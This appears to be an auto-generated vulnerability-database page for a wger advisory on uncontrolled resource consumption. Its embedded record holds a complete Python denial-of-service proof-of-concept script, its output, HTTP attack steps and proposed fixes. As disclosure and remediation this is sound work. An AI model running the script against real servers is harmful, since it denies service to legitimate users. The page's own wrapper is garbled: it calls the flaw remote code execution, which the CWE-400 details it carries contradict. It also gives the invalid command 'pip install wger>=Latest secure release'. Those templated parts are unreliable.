GHSA-v25j-wqcw-fvhj: Wger Remote Code Execution Vulnerability
MODERATEGHSA-v25j-wqcw-fvhj is a MODERATE (CVSS 6.5) remote code execution vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Wger libraries in the PyPI ecosystem. The issue involves wger has an uncontrolled resource consumption issue. Remediation is available in the latest vendor maintenance releases.
GHSA-v25j-wqcw-fvhj at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
How to Fix GHSA-v25j-wqcw-fvhj
To remediate this vulnerability, upgrade all affected Wger dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install wger>=Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show wger
How to Check if You Are Affected
To determine whether your Python environment is affected by GHSA-v25j-wqcw-fvhj, inspect your installed packages using pip:
pip show wger
Analyze the terminal output to locate any version of Wger in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: The pip show wger command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Wger, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-v25j-wqcw-fvhj Affected Wger Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
wger
|
PyPI |
≤ 2.5
|
|
References
Frequently Asked Questions
What is GHSA-v25j-wqcw-fvhj?
Which Wger versions are affected?
What version fixes GHSA-v25j-wqcw-fvhj?
Is wger affected?
What is the CVSS score of GHSA-v25j-wqcw-fvhj?
What CWE is associated with GHSA-v25j-wqcw-fvhj?
How can I check PyPI dependencies for GHSA-v25j-wqcw-fvhj?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-v25j-wqcw-fvhj",
"modified" : "2026-05-13T15:33:38Z",
"published" : "2026-05-13T15:33:38Z",
"aliases" : [ ],
"summary" : "wger has an Uncontrolled Resource Consumption issue",
"details" : "### Summary\n\nAny authenticated user can create a routine spanning an arbitrarily long date range (e.g. 100 years) and then trigger the `date_sequence` computation via any of the routine detail endpoints. The server iterates once per day in an unbounded `while` loop with no maximum duration validation, causing a single HTTP request to consume multiple seconds of server CPU and return a response containing tens of thousands of entries. Repeated requests can exhaust all worker threads and deny service to other users.\n\n### Details\n\nThe `Routine` model (file: `wger/manager/models/routine.py`) has `start` and `end` date fields with only one validation -- `start` must not be after `end`:\n\n```python\n# File: wger/manager/models/routine.py, line 151\ndef clean(self):\n if self.end and self.start and self.start > self.end:\n raise ValidationError('The start time cannot be after the end time.')\n # NO maximum duration check\n```\n\nThe `RoutineSerializer` (file: `wger/manager/api/serializers.py`, line 43) likewise performs no validation on the delta between `start` and `end`.\n\nThe `date_sequence` property (line 256) uses an unbounded loop:\n\n```python\n# File: wger/manager/models/routine.py, line 256\nwhile current_date <= self.end:\n # heavy computation per day: slots, entries, configs, logs\n ...\n```\n\nA routine with `start=2000-01-01` and `end=2099-12-31` produces **36,525 iterations**, each performing O(slots x entries x configs) work. Five endpoints trigger this computation:\n\n- `GET /api/v2/routine/<id>/date-sequence-display/`\n- `GET /api/v2/routine/<id>/date-sequence-gym/`\n- `GET /api/v2/routine/<id>/structure/`\n- `GET /api/v2/routine/<id>/logs/`\n- `GET /api/v2/routine/<id>/stats/`\n\n### PoC\n\n#### Prerequisites\n\n- One authenticated user account\n- No special permissions required\n\n#### Attack Steps\n\n```\n# 1. Create a 100-year routine\nPOST /api/v2/routine/\nAuthorization: Token <token>\nContent-Type: application/json\n\n{\n \"name\": \"DoS routine\",\n \"start\": \"2000-01-01\",\n \"end\": \"2099-12-31\"\n}\n\n# 2. Add at least one day (to make computation non-trivial)\nPOST /api/v2/day/\nAuthorization: Token <token>\nContent-Type: application/json\n\n{\n \"routine\": <routine_id>,\n \"order\": 1,\n \"name\": \"Day A\"\n}\n\n# 3. Trigger the expensive computation\nGET /api/v2/routine/<routine_id>/date-sequence-display/\nAuthorization: Token <token>\n```\n\n**Expected:** HTTP 400 (routine duration exceeds maximum)\n**Actual:** HTTP 200 with 36,525 entries after several seconds of server CPU time\n\n#### Proof of Concept Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Unbounded date_sequence Denial of Service\nTarget: wger Workout Manager\nSeverity: HIGH - CVSS 6.5\nCWE-400: Uncontrolled Resource Consumption\n\nUsage:\n python3 poc.py http://localhost:8000\n\"\"\"\n\nimport requests\nimport sys\nimport time\n\nif len(sys.argv) < 2:\n print(f\"Usage: {sys.argv[0]} <BASE_URL>\")\n print(f\"Example: {sys.argv[0]} http://localhost:8000\")\n sys.exit(1)\n\nBASE = sys.argv[1].rstrip(\"/\")\nAPI = f\"{BASE}/api/v2\"\n\nATTACKER_USER = \"dos_attacker_poc\"\nATTACKER_PASS = \"DosAttack!Poc!2025\"\n\nBANNER = \"\"\"\n=====================================================================\n PoC: Unbounded date_sequence Denial of Service\n Severity: HIGH\n CWE-400: Uncontrolled Resource Consumption\n=====================================================================\n\"\"\"\nprint(BANNER)\n\n\n# ---- Helper ----\ndef api_login(username, password):\n r = requests.post(f\"{API}/login/\", json={\n \"username\": username, \"password\": password\n })\n if r.status_code == 200:\n return r.json().get(\"token\")\n return None\n\ndef api_headers(token):\n return {\"Authorization\": f\"Token {token}\", \"Content-Type\": \"application/json\"}\n\n\n# ---- 1. Authenticate ----\n\nprint(\"[1] Authenticating...\")\n\ntoken = api_login(ATTACKER_USER, ATTACKER_PASS)\nif not token:\n print(f\" Registering account...\")\n r = requests.post(f\"{API}/register/\", json={\n \"username\": ATTACKER_USER,\n \"password\": ATTACKER_PASS,\n })\n if r.status_code in (200, 201):\n token = r.json().get(\"token\")\n if not token:\n token = api_login(ATTACKER_USER, ATTACKER_PASS)\n if not token:\n print(f\"[-] Cannot authenticate. Response: {r.text[:200]}\")\n sys.exit(1)\nprint(f\" Token: {token[:16]}...\")\n\nheaders = api_headers(token)\n\n\n# ---- 2. Create NORMAL routine (baseline) ----\n\nprint(\"\\n[2] Creating baseline routine (30 days)...\")\n\nr = requests.post(f\"{API}/routine/\", headers=headers, json={\n \"name\": \"Normal 30-day routine\",\n \"start\": \"2025-01-01\",\n \"end\": \"2025-01-31\",\n})\nnormal_id = r.json()[\"id\"]\n\nr = requests.post(f\"{API}/day/\", headers=headers, json={\n \"routine\": normal_id, \"order\": 1, \"name\": \"Day A\"\n})\n\nprint(f\" Routine id={normal_id} (30 days)\")\nstart_time = time.time()\nr = requests.get(\n f\"{API}/routine/{normal_id}/date-sequence-display/\",\n headers=headers,\n)\nbaseline_time = time.time() - start_time\nbaseline_entries = len(r.json()) if r.status_code == 200 else 0\nprint(f\" date-sequence-display: {r.status_code}, \"\n f\"{baseline_entries} entries, {baseline_time:.2f}s\")\n\n\n# ---- 3. Create MALICIOUS routine (100 years) ----\n\nprint(f\"\\n[3] Creating malicious routine (100 years = 36,525 days)...\")\n\nr = requests.post(f\"{API}/routine/\", headers=headers, json={\n \"name\": \"DoS routine - 100 years\",\n \"start\": \"2000-01-01\",\n \"end\": \"2099-12-31\",\n})\n\nif r.status_code != 201:\n print(f\" [-] Failed to create: {r.status_code} {r.text[:200]}\")\n sys.exit(1)\n\ndos_id = r.json()[\"id\"]\nprint(f\" Routine id={dos_id}\")\nprint(f\" start=2000-01-01, end=2099-12-31\")\nprint(f\" Duration: ~36,525 days (NO validation limit!)\")\n\nr = requests.post(f\"{API}/day/\", headers=headers, json={\n \"routine\": dos_id, \"order\": 1, \"name\": \"DoS Day\"\n})\n\n\n# ---- 4. ATTACK ----\n\nprint(f\"\\n{'='*65}\")\nprint(f\" ATTACK: Triggering date_sequence on 100-year routine\")\nprint(f\"{'='*65}\")\n\nprint(f\"\\n GET {API}/routine/{dos_id}/date-sequence-display/\")\nprint(f\" This will iterate ~36,525 times in a while loop...\")\n\nstart_time = time.time()\ntry:\n r = requests.get(\n f\"{API}/routine/{dos_id}/date-sequence-display/\",\n headers=headers,\n timeout=120,\n )\n elapsed = time.time() - start_time\n dos_entries = len(r.json()) if r.status_code == 200 else 0\n\n print(f\"\\n Response: HTTP {r.status_code}\")\n print(f\" Entries returned: {dos_entries}\")\n print(f\" Time elapsed: {elapsed:.2f}s\")\n\nexcept requests.exceptions.Timeout:\n elapsed = time.time() - start_time\n dos_entries = 0\n print(f\"\\n REQUEST TIMED OUT after {elapsed:.2f}s!\")\n\nexcept requests.exceptions.ConnectionError:\n elapsed = time.time() - start_time\n dos_entries = 0\n print(f\"\\n CONNECTION LOST after {elapsed:.2f}s!\")\n\n\n# ---- 5. VERIFY ----\n\nprint(f\"\\n{'='*65}\")\nprint(f\" VERIFICATION\")\nprint(f\"{'='*65}\")\n\nprint(f\"\\n Baseline (30-day routine):\")\nprint(f\" Entries: {baseline_entries}\")\nprint(f\" Time: {baseline_time:.2f}s\")\nprint(f\"\\n Malicious (100-year routine):\")\nprint(f\" Entries: {dos_entries}\")\nprint(f\" Time: {elapsed:.2f}s\")\n\nif elapsed > baseline_time * 5 or dos_entries > 10000:\n slowdown = elapsed / baseline_time if baseline_time > 0 else float('inf')\n print(f\"\\n Slowdown factor: {slowdown:.1f}x\")\n print(\"\"\"\n +----------------------------------------------------------+\n | VULNERABILITY CONFIRMED |\n | |\n | No maximum duration is enforced on routines. |\n | The date_sequence property loops once per day with no |\n | upper bound. A 100-year routine forces ~36,525 |\n | iterations of expensive O(days x slots x configs) work. |\n | A single request can exhaust a server worker thread. |\n +----------------------------------------------------------+\n\"\"\")\nelse:\n print(\"\\n Response was fast - server may have limits or caching.\")\n```\n\n#### Proof of Concept Output\n\n```\n=====================================================================\n PoC: Unbounded date_sequence Denial of Service\n Severity: HIGH\n CWE-400: Uncontrolled Resource Consumption\n=====================================================================\n\n[1] Authenticating...\n Registering account...\n Token: 2ffbb18316fc4e0f...\n\n[2] Creating baseline routine (30 days)...\n Routine id=5 (30 days)\n date-sequence-display: 200, 31 entries, 0.02s\n\n[3] Creating malicious routine (100 years = 36,525 days)...\n Routine id=6\n start=2000-01-01, end=2099-12-31\n Duration: ~36,525 days (NO validation limit!)\n\n=================================================================\n ATTACK: Triggering date_sequence on 100-year routine\n=================================================================\n\n GET http://localhost/api/v2/routine/6/date-sequence-display/\n This will iterate ~36,525 times in a while loop...\n\n Response: HTTP 200\n Entries returned: 36525\n Time elapsed: 3.06s\n\n=================================================================\n VERIFICATION\n=================================================================\n\n Baseline (30-day routine):\n Entries: 31\n Time: 0.02s\n\n Malicious (100-year routine):\n Entries: 36525\n Time: 3.06s\n\n Slowdown factor: 138.4x\n\n +----------------------------------------------------------+\n | VULNERABILITY CONFIRMED |\n | |\n | No maximum duration is enforced on routines. |\n | The date_sequence property loops once per day with no |\n | upper bound. A 100-year routine forces ~36,525 |\n | iterations of expensive O(days x slots x configs) work. |\n | A single request can exhaust a server worker thread. |\n +----------------------------------------------------------+\n```\n\n### Impact\n\n1. **Worker Thread Exhaustion:** Each malicious request ties up a server worker for 3+ seconds (more with populated slots/configs). A handful of concurrent requests can saturate all available workers, making the application unresponsive for legitimate users.\n2. **Amplification with Slots:** The 3-second figure is for a routine with a single empty day. Adding exercises, slot entries, and progression configs multiplies the per-day cost. A fully populated 100-year routine could take minutes per request.\n3. **No Authentication Barrier Beyond Login:** Any registered user can perform this attack. No elevated permissions are required.\n4. **Cache Bypass:** The first request for each routine (or after `ROUTINE_CACHE_TTL` expires) always runs the full computation. An attacker can create new routines to avoid cache hits.\n5. **Five Affected Endpoints:** `date-sequence-display`, `date-sequence-gym`, `structure`, `logs`, and `stats` all trigger the same unbounded loop.\n\n\n### Fix\n\n#### 1. Add maximum duration validation in the model\n\n```python\n# File: wger/manager/models/routine.py\nMAX_ROUTINE_DAYS = 365\n\ndef clean(self):\n if self.end and self.start:\n if self.start > self.end:\n raise ValidationError('Start cannot be after end.')\n if (self.end - self.start).days > self.MAX_ROUTINE_DAYS:\n raise ValidationError(\n f'Routine cannot span more than {self.MAX_ROUTINE_DAYS} days.'\n )\n```\n\n#### 2. Add the same validation in the serializer\n\n```python\n# File: wger/manager/api/serializers.py\nclass RoutineSerializer(serializers.ModelSerializer):\n def validate(self, data):\n start = data.get('start')\n end = data.get('end')\n if start and end and (end - start).days > 365:\n raise serializers.ValidationError(\n 'Routine cannot span more than 365 days.'\n )\n return data\n```\n\n#### 3. Add a safety cap in date_sequence (defence-in-depth)\n\n```python\n# File: wger/manager/models/routine.py, inside date_sequence property\nMAX_SEQUENCE_DAYS = 400\ncount = 0\nwhile current_date <= self.end:\n count += 1\n if count > MAX_SEQUENCE_DAYS:\n break\n ...\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "wger"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "2.5"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/wger-project/wger/security/advisories/GHSA-v25j-wqcw-fvhj"
}, {
"type" : "WEB",
"url" : "https://github.com/wger-project/wger/commit/5f07a4473e2c32d298c8cdd31d78e5107840039c"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/wger-project/wger"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-13T15:33:38Z",
"nvd_published_at" : null
}
}